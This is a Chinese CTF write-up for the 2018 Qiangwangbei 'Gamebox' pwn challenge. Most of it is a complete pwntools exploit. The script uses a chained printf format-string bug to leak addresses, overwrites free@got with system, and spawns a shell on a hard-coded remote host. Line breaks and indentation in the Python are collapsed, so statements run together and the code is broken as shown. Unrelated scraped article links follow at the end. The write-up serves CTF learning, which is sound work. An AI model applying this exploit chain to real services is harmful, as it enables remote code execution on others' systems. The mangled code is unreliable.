参考:

https://www.cnblogs.com/hac425/p/9416787.html

http://tacxingxing.com/2018/03/28/2018qwb/

事后复盘pwn,对于Gamebox一题发现网上wp都是大佬们利用堆玩出花,本菜鸡看到有printf格式化字符串漏洞,而且也没有防护,就想试试。但是难点在于printf(s)的s在堆上

由于printf(s)的s在堆上,利用起来没有栈上好用,需要在栈上找到这么一块内存。
stack: param 15 -> param 41 -> param X -> free@got (X每次运行都不同,需要计算)
通过 %10c%15$hhn 修改 param 41 的内容
通过 %10c%41$hhn 修改 param X 的内容,让其指向free@got
通过 %10c%966$hhn 修改 free@got的内容

如果没有param15,那么 param 41修改param X就会比较困难,hhn改1字节,hn改2字节,使用%n会不稳定。原来param X的内容很可能在栈上,需要修改3字节甚至更多,所以多一个param 15控制param 41,让整个格式化控制链更容易。

#!/usr/bin/env python2
# -*- coding:utf8 -*-
# execve generated by ROPgadget import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger #context(os='linux', arch='i386', log_level='debug') #i386 or amd64 #用python xxx.py elf 1调用远程
local = len(sys.argv) == 2 elf = ELF(sys.argv[1]) if local:
io = process(sys.argv[1])
#libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
#raw_input("wait for debugger:")
#io = remote("localhost", 10001)
else:
io = remote("106.2.25.7", 8001)
libc = ELF("libc-2.23.so") """
puts("Welcome to Pig's GameBox!");
puts("(P)lay GUESS WORDS");
puts("(S)how RANK");
puts("(D)elete RANK");
puts("(C)hange RANK");
puts("(E)xit");
""" def fuzz_guess_words(code,name_len,name):
io.sendlineafter("(E)xit","P")
io.sendlineafter("what I write:",code)
pass def play_guess_words(code,name_len,name):
io.sendlineafter("(E)xit","P")
io.sendlineafter("what I write:",code)
io.sendlineafter(" name length:",str(name_len))
io.sendlineafter("your name:",name) def show_rank():
io.sendlineafter("(E)xit","S") def delete_rank(idx,code):
io.sendlineafter("(E)xit","D")
io.sendlineafter("Input index:",str(idx))
io.sendlineafter("Input Cookie:",code) s = """
NWLRBBMQBHCDARZOWKKYHIDD
QSCDXRJMOWFRXSJYBLDBEFSA
RCBYNECDYGGXXPKLORELLNMP
APQFWKHOPKMCOQHNWNKUEWHS
QMGBBUQCLJJIVSWMDKQTBXIX
MVTRRBLJPTNSNFWZQFJMAFAD
RRWSOFSBCNUVQHFFBSAQXWPQ
CACEHCHZVFRKMLNOZJKPQPXR
JXKITZYXACBHHKICQCOENDTO
MFGDWDWFCGPXIQVKUYTDLCGD
EWHTACIOHORDTQKVWCSGSPQO
QMSBOAGUWNNYQXNZLGDGWPBT
RWBLNSADEUGUUMOQCDRUBETO
KYXHOACHWDVMXXRDRYXLMNDQ
TUKWAGMLEJUUKWCIBXUBUMEN
MEYATDRMYDIAJXLOGHIQFMZH
LVIHJOUVSUYOYPAYULYEIMUO
TEHZRIICFSKPGGKBBIPZZRZU
CXAMLUDFYKGRUOWZGIOOOBPP
LEQLWPHAPJNADQHDCNVWDTXJ
BMYPPPHAUXNSPUSGDHIIXQMB
FJXJCVUDJSUYIBYEBMWSIQYO
YGYXYMZEVYPZVJEGEBEOCFUF
TSXDIXTIGSIEEHKCHZDFLILR
JQFNXZTQRSVBSPKYHSENBPPK
QTPDDBUOTBBQCWIVRFXJUJJD
DNTGEIQVDGAIJVWCYAUBWEWP
JVYGEHLJXEPBPIWUQZDZUBDU
""".replace("\n","").replace(" ","")
codes = [s[i*24:i*24+24] for i in range(len(s)/24)]
# print "codes",len(codes) #fuzz the code
# wait_for_debugger(io.pid)
# while True:
# fuzz_guess_words('a',20,"aa") cidx = 0
#leak elf base
play_guess_words(codes[cidx],20,"%9$p..")
cidx +=1
#leak libc base
play_guess_words(codes[cidx],20,"%13$p..")
cidx +=1
#leap rsp
play_guess_words(codes[cidx],20,"%8$p..")
cidx += 1
#leap param 41
play_guess_words(codes[cidx],20,"%41$p..") #打印%41处地址
cidx += 1 #一个show_rank可以一次泄露,也可以多次show_rank
show_rank() io.recvuntil("0:")
main_addr = int(io.recvuntil("..",drop=True),16) - 0x61
elf_base = main_addr - 6260
success("elf_base: %x"%elf_base) io.recvuntil("1:")
__libc_start_main_addr = int(io.recvuntil("..",drop=True),16) - 0xf0
libc_base = __libc_start_main_addr - libc.symbols["__libc_start_main"]
success("libc_base: %x"%libc_base) system_addr = libc_base + libc.symbols["system"]
free_addr = libc_base + libc.symbols["free"]
free_got = elf_base + elf.got["free"]
success("system_addr: %x"%system_addr)
success("free_addr: %x"%free_addr)
success("free_got: %x"%free_got) io.recvuntil("2:")
rsp_addr = int(io.recvuntil("..",drop=True),16) - 0x30
success("rsp address: %x"%rsp_addr) #stack: param15 -> param41 -> param X(未对齐)
io.recvuntil("3:")
param_41_addr = int(io.recvuntil("..",drop=True),16)
success("param 41 content: %x"%param_41_addr) # 清理
delete_rank(0,codes[0])
delete_rank(1,codes[1])
delete_rank(2,codes[2])
delete_rank(3,codes[3]) def hhn_payload(x,pos):
if x == 0:
payload = pos
else:
payload = "%"+str(x)+"c"+ pos return payload def hn_payload(x,pos):
if x == 0:
payload = pos
else:
payload = "%"+str(x)+"c"+ pos return payload #修正param_41_addr与栈对齐
#stack: param15 -> param41 -> param X(已对齐)
if param_41_addr % 8 != 0:
diff = 8 - param_41_addr %8 #需要进位7fff0ecdd2fd
hn = (param_41_addr + diff) & 0xffff
payload = hn_payload(hn,"%15$hn")
play_guess_words(codes[cidx],20,payload)
show_rank()
delete_rank(0,codes[cidx])
cidx += 1
param_41_addr += diff
success("param 41 content adjust: %x"%param_41_addr) #将param X内容改为free_got
for i in range(8):
#修改一位param X
hhn = ((free_got >> (8*i) & 0xff))%256
# print 'hhn',i,hhn
payload = hhn_payload(hhn,"%41$hhn") play_guess_words(codes[cidx],20,payload)
show_rank()
delete_rank(0,codes[cidx])
cidx += 1 if i == 7:
break #修改一位param 41
hhn = (param_41_addr + i + 1)&0xff
payload = hhn_payload(hhn,"%15$hhn") play_guess_words(codes[cidx],20,payload) #param41 += 1
show_rank()
delete_rank(0,codes[cidx])
cidx += 1 #修改param41对应的地方,是程序名处,所以ida2pwntools就不能用了:P
#接下来就不能delete了,一般free_addr和system_addr相差3位 #先将param41的内容归位,指向param X(对齐)处。这里有可能进位了,但是概率比较少
hn = (param_41_addr)&0xffff
payload = hn_payload(hn,"%15$hn a")
play_guess_words(codes[cidx],20,payload)
cidx += 1 param_idx = (param_41_addr - rsp_addr)/8 + 6 #8字节对齐,前6位在寄存器中
success("param_idx: %d"%param_idx)
for i in range(3):
#修改free_got低3字节
hhn = ((system_addr >> (8*i) & 0xff))%256
payload = hhn_payload(hhn,"%"+str(param_idx)+"$hhn b"+str(i))
play_guess_words(codes[cidx],20,payload)
cidx += 1 if i == 2:
break #修改 paramX -> free_got[i+1]
hhn = (free_got + i + 1)&0xff
payload = hhn_payload(hhn,"%41$hhn c"+str(i))
play_guess_words(codes[cidx],20,payload)
cidx += 1 #构造好串:param41的内容归位,修改free_got[0],修改param943+=1,修改free_got[1],修改param943+=1,修改free_got[2]
# wait_for_debugger(io.pid)
show_rank() # 用free("/bin/sh") 进行 get_shell
play_guess_words(codes[cidx],20,"/bin/sh")
delete_rank(6,codes[cidx])
cidx +=1 io.interactive()

仅做记录,如有不妥请大佬们指正。  

【强网杯2018】Gamebox的更多相关文章

  1. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  2. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  3. 强网杯2018 Web签到

    Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...

  4. 【强网杯2018】逆向hide

    这是事后才做出来的,网上没有找到现成的writeup,所以在这里记录一下 UPX加壳,而且linux下upx -d无法解,也无法gdb/ida attach 因为是64位,所以没有pushad,只能挨 ...

  5. 第二届强网杯-simplecheck

    这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...

  6. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  7. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

  8. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  9. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

随机推荐

  1. canvas游戏开发系列(1):基础知识

    canvas基础知识 canvas是什么? canvas是html5的一个元素,可以说他的功能是html元素中最强大的一个. 举个栗子: 第一步:在页面中引入canvas标签,并且设置好宽高背景等样式 ...

  2. FOJ Problem 2273 Triangles

    Problem 2273 Triangles Accept: 201    Submit: 661Time Limit: 1000 mSec    Memory Limit : 262144 KB P ...

  3. nginx进行项目域名配置时提示Job for nginx.service failed

    ps aux | grep nginx /bin/systemctl stop nginx.service /bin/systemctl start nginx.service /bin/system ...

  4. Servlet乱码解决

    后端收前端 1.post乱码 可以通过 request.setCharacterEncoding("utf-8");  这样在后端可以接收中文 2.get乱码(手动解决) 可以通过 ...

  5. 老郭带你学数据结构(C语言系列)2-线性表之动态顺序表

    一.基本概念: 线性表:由n个类型相同的数据元素组成的有限序列,记为(a1,a2,--an). 线性表的特征:其中的元素存在这序偶关系,元素之间存在着严格的次序关系. 顺序存储表:线性表中的元素依次存 ...

  6. Android启动过程深入解析【转】

    转自:http://www.open-open.com/lib/view/open1403250347934.html 当按下Android设备电源键时究竟发生了什么? Android的启动过程是怎么 ...

  7. class.getDeclaredFields()与class.getFields()

    * getFields()与getDeclaredFields()区别:getFields()只能访问类中声明为公有的字段,私有的字段它无法访问.getDeclaredFields()能访问类中所有的 ...

  8. MySQL命令行导入脚本文件

    通过命令行执行sql脚本文件的方法: cmd命令行下: C:\users\test_dir>"C:\Program Files\MySQL\MySQL Server 5.7\bin\m ...

  9. UVALive 3517:Feel Good(单调栈 Grade C)

    VJ题目链接 题意: n个数,求区间[l,r] 使得 sum[l,r]*min(a[l],a[l+1],...,a[r]) 最大.若有多种答案,输出区间最短的.若还有多组,输出最先出现的. 思路: 求 ...

  10. 记录: 百度webuploader 分片文件上传java服务器端(spring mvc)示例的优化

    最近项目上用到文件分片上传,于是找到了百度的一个开源前端控件webuploader. 于是尝试使用. 下载下来后,它提供的服务器端示例代码是php版的,那么Java版的呢? 其实,上传文件都是按照rf ...